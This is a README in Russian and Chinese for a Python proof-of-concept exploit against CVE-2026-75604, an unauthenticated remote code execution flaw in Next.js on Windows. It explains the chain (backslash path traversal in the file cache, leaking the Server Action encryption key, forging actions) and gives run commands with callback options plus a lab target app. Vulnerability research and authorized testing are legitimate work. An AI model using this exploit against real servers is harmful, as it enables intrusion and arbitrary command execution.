
Доказательство концепции эксплуатации для CVE-2026-75604 — неаутентифицированного удалённого выполнения кода (RCE) в Next.js, размещённом на Windows, через обход пути в кэше и поддельное Server Action, предназначенное для авторизованного тестирования безопасности.
Python-концепт-доказательство для CVE-2026-75604 — неаутентифицированное удалённое выполнение команд в приложениях Next.js, размещённых на Windows, которые используют одновременно Pages Router и App Router без Cache Components.

>=13.4 <15.5.24 или >=16.0 <16.3.3Проверено на [email protected].
python -m pip install -r requirements.txt
python poc.py --target http://TARGET:3000 --callback-ip CALLBACK_IP --pages-cache-path /PATH/TO/PAGES_ISR_INSTANCE --app-cache-path /PATH/TO/APP_CACHE_INSTANCE
Путь Server Action по умолчанию — /. Используйте --action-field, когда его форма содержит более одного поля.
Обязательные аргументы:
--target URL: базовый URL приложения Next.js--callback-ip ADDRESS: IPv4-адрес, доступный для цели--pages-cache-path PATH: существующая динамическая ISR-страница Pages Router--app-cache-path PATH: существующая динамическая страница App Router, поддерживаемая файловым кэшемНеобязательные аргументы:
--command COMMAND: команда для выполнения; по умолчанию whoami--action-path PATH: страница App Router, содержащая совместимое Server Action; по умолчанию /--action-field NAME: поле формы, потребляемое действием; определяется автоматически, если неоднозначность отсутствует--callback-port PORT: порт обратного вызова; по умолчанию 4331--listen-address ADDRESS: локальный адрес привязки обратного вызова; по умолчанию 0.0.0.0--timeout SECONDS: таймаут запроса и обратного вызова; по умолчанию 20--insecure: отключает проверку сертификатов TLSНеобязательное приложение target/ фиксирует [email protected] и использует стандартный производственный сервер Next.js:
cd target
npm ci
npm run build
npm start
Запустите PoC в другом терминале:
python poc.py --target http://127.0.0.1:4330 --callback-ip 127.0.0.1 --pages-cache-path /pages-cache/seed --app-cache-path /app-cache/seed
Необязательная цель предоставляет требуемые маршруты и совместимое Server Action на /.
Данный PoC предоставлен исключительно в образовательных целях, для исследований в области безопасности и авторизованного тестирования. Используйте его только на системах, которыми вы владеете или на тестирование которых у вас есть явное разрешение.
Благодарность evolutionstorm.
Данный PoC был независимо восстановлен на основе публичного уведомления и патча Next.js.
本仓库为 CVE-2026-75604 利用 PoC 的中转分发镜像(英文使用说明见上方上游原版 README)。内容由上游公开 PoC 镜像而来,仅作存档与分发用途。PoC 仅供安全研究、漏洞验证与授权测试,请勿用于未授权目标。
AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H>=13.4 <15.5.24、>=16.0 <16.3.315.5.24 / 16.3.3核心原理:FileSystemCache 在 Windows 上未把反斜杠(\)视为路径分隔符进行转义,攻击者可用 ..%5C 编码穿越缓存路径,读取私密文件 server-reference-manifest.json,泄露 Server Action 的 encryptionKey,再伪造闭包绑定 Server Action 请求执行任意命令。
python -m pip install -r requirements.txt(cryptography、requests)已在 [email protected] 上验证。
python poc.py --target http://TARGET:3000 --callback-ip CALLBACK_IP \
--pages-cache-path /PATH/TO/PAGES_ISR_INSTANCE \
--app-cache-path /PATH/TO/APP_CACHE_INSTANCE
| 参数 | 必填 | 说明 |
|---|---|---|
--target URL | 是 | Next.js 应用基础 URL |
--callback-ip ADDRESS | 是 | 目标可回连的 IPv4 地址 |
--pages-cache-path PATH | 是 | 已存在的动态 Pages Router ISR 页(穿越锚点) |
--app-cache-path PATH | 是 | 已存在的、走文件系统缓存的动态 App Router 页 |
--command COMMAND | 否 | 要执行的命令(默认 whoami) |
--action-path PATH | 否 | 含兼容 Server Action 的 App Router 页(默认 /) |
--action-field NAME | 否 | Action 表单消费的业务字段(唯一时自动检测) |
--callback-port PORT | 否 | 回连端口(默认 4331) |
--listen-address ADDRESS | 否 | 本地回调监听地址(默认 0.0.0.0) |
--timeout SECONDS | 否 | 请求与回调超时(默认 20) |
--insecure | 否 | 关闭 TLS 证书校验 |
仓库内 target/ 提供了可复现的示例应用(锁定 [email protected],标准生产服务器):
cd target
npm ci
npm run build
npm start
另开终端运行:
python poc.py --target http://127.0.0.1:4330 --callback-ip 127.0.0.1 \
--pages-cache-path /pages-cache/seed --app-cache-path /app-cache/seed
示例目标提供了所需路由与 / 上的兼容 Server Action。
本 PoC 仅供教学、安全研究与授权测试使用,仅可对自有或获得明确授权的系统运行。利用会在目标 Windows 主机执行任意命令,请在可销毁环境中测试。
LICENSE)。